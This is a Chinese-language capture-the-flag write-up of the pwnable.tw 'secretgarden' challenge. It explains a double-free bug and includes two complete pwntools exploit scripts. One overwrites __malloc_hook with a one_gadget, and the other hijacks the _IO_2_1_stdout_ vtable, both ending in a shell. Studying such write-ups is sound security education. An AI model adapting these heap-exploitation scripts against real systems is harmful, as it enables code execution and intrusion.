pwnable.tw-secretgarden

介绍

找大佬要来的堆练习题3。

是pwnable.tw中一道堆的题目。

有好多种姿势getshell,实在是长见识了。

分析程序

分析题目流程,比较清晰。raise养花,visit查看,remove移除,clean清除全部。

结构体:

1
2
3
4
5
struct node{
int flag;
char * name;
char color[24];
}flower;

raise函数,分配一个堆放结构体,flag置1,name为大小由用户指定的堆,color直接读入。最后将结构体插入bss段中的flowers中。

visit函数,打印所有flag位不为0的flower的name和color。

remove函数,选择一个flower的index,将flag置0,free掉name,但指针未清空。并且在检查index的之后,只检查了index的合法性和bss上index对应的堆是否存在,并没有检查flag位,所以可以double free。

1
2
3
4
5
6
if ( index <= 99 && (v0 = flowers[index]) != 0LL )
{
LODWORD(v0->flag) = 0;
free(flowers[index]->name);
puts("Successful");
}

clean函数,基本无关,且无明显漏洞。

程序保护全开:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

利用方式 __malloc_hook

首先,利用Unsotred bin泄露出libc的地址,比较简单不再赘述。

然后,因为有Full RELRO,写got表肯定不行了。这里的做法是通过hook函数劫持程序控制流。但不巧的是__free_hook旁边没有合适的size,所以这里改写__malloc_hookone_gadget

然后,又来个不巧的,找到的所有one_gadget,直接调用malloc都不可用,所以我们选择double free来调用malloc_printerr以此来触发__malloc_hook,经测试,这样是可以的。

onegadget选取以下第三个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x45216	execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = 'debug'

def raise_flower(lenth, name, color):
p.sendlineafter('Your choice : ', '1')
p.sendlineafter('Length of the name :', str(lenth))
p.sendlineafter('The name of flower :', name)
p.sendlineafter('The color of the flower :', color)


def visit():
p.sendlineafter('Your choice : ', '2')


def remove(index):
p.sendafter('Your choice : ', '3')
p.sendlineafter(
'Which flower do you want to remove from the garden:', str(index))


p = process('./secretgarden')
elf = ELF('./secretgarden')
libc = ELF('./libc-2.23.so')


# leak libc.addr
raise_flower(0x100, '0000', 'aaaa')
raise_flower(0x100, '1111', 'bbbb')
remove(0)
raise_flower(0xc8, '', 'cccc')
visit()
p.recvuntil('Name of the flower[2] :')
leak = u64(p.recv(6)+'\x00\x00')
leak = (leak >> 8) << 8
libc.address = leak - 0x3c4c00
p.info('libc.addr: 0x%x' % libc.address)

# fastbin attack
raise_flower(0x60, '3333', 'dddd')
raise_flower(0x60, '4444', 'eeee')
remove(3)
remove(4)
remove(3)

# modify __malloc_hook
raise_flower(0x60, p64(libc.symbols['__malloc_hook']-0x23), 'ffff')
raise_flower(0x60, '6666', 'gggg')
raise_flower(0x60, '7777', 'hhhh')
payload = 'a' * 0x13 + p64(libc.address + 0xf02a4)
raise_flower(0x60, payload, 'iiii')

p.info('__malloc_hook: 0x%x' % libc.symbols['__malloc_hook'])
remove(3)
remove(3)

p.interactive()

利用方式 _IO_2_1_stdout_

这种方式是,攻击file struct,在我看来,这题用这个方法还是比较好的。

首先,泄露libc地址和heap地址,比较简单,不再赘述。(注:我脚本写的比较麻烦,主要是为了让堆上面好看一点,各各阶段清晰一点)。

然后,利用double free分配一个在_IO_2_1_stdout_附近的chunk,这里选在_IO_2_1_stdout_ + 0x9d正好大小合适。

1
2
pwndbg> x/gx ((void *)&_IO_2_1_stdout_ + 0x9d + 8)
0x7f89b7d076c5 <_IO_2_1_stdout_+165>: 0x000000000000007f

然后修改_IO_2_1_stdout_中的vtable,使vtable中的xsputn指向one_gadget,我们可以在修改vtable的时候顺便把one_gadget放上去,控制好地址就好了。这里是将vtable指向_IO_2_1_stdout_ + 0x98此时,xsputn正好是&vtable - 16

1
2
3
0x7f89b7d076f0 <_IO_2_1_stdout_+208>:   0x00007f89b7a33147      0x00007f89b7d076b8
^ ^
one_gadget vtable

最后在,执行到printf的时候就会调用vtablexsputn,从而getshell.

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = 'debug'


def raise_flower(lenth, name, color):
p.sendlineafter('Your choice : ', '1')
p.sendlineafter('Length of the name :', str(lenth))
p.sendlineafter('The name of flower :', name)
p.sendlineafter('The color of the flower :', color)


def visit():
p.sendlineafter('Your choice : ', '2')


def remove(index):
p.sendafter('Your choice : ', '3')
p.sendlineafter(
'Which flower do you want to remove from the garden:', str(index))


p = process('./secretgarden')
elf = ELF('./secretgarden')
libc = ELF('./libc-2.23.so')


# leak libc addr
raise_flower(0x100, '0000', 'aaaa')
raise_flower(0x100, '1111', 'bbbb')
remove(0)
raise_flower(0xc8, '', 'cccc')

visit()
p.recvuntil('Name of the flower[2] :')
leak = u64(p.recv(6)+'\x00\x00')
leak = (leak >> 8) << 8
libc.address = leak - 0x3c4c00
p.info('libc.addr: 0x%x' % libc.address)

# leak heap addr
raise_flower(0x100, '3333', 'dddd')
raise_flower(0x10, '4444', 'eeee')
remove(3)
raise_flower(0x10, '5555', 'ffff')
remove(5)
remove(4)
raise_flower(0x10, '', 'gggg')

visit()
p.recvuntil('Name of the flower[6] :')
leak = u64(p.recv(6)+'\x00\x00')
leak = (leak >> 8) << 8
heap_addr = leak - 0x1200
p.info('heap_addr: 0x%x' % heap_addr)

raise_flower(88, '7777', 'hhhh')

# fastbin attack
raise_flower(0x60, '8888', 'iiii')
raise_flower(0x60, '9999', 'jjjj')

remove(8)
remove(9)
remove(8)

p.info('_IO_2_1_stdout_: 0x%x' % libc.symbols['_IO_2_1_stdout_'])
raise_flower(0x60, p64(libc.symbols['_IO_2_1_stdout_'] + 0x9d), 'kkkk')
raise_flower(0x60, 'BBBB', 'llll')
raise_flower(0x60, 'CCCC', 'mmmm')

# modify _IO_2_1_stdout
one_gadgets = libc.address + 0xf1147
payload = '\x00\x00\x00'
payload += p64(0) * 2
payload += p64(0xffffffff)
payload += p64(0)
payload += p64(one_gadgets)
payload += p64(libc.symbols['_IO_2_1_stdout_'] + 0x98)

p.sendlineafter('Your choice : ', '1')
p.sendlineafter('Length of the name :', str(0x60))
p.sendlineafter('The name of flower :', payload)


p.interactive()

更多方法

还有好几种方法可以做出这道题,简直是五花八门。可以参考以下链接:

http://tacxingxing.com/2018/02/20/pwnabletw-secretgarden/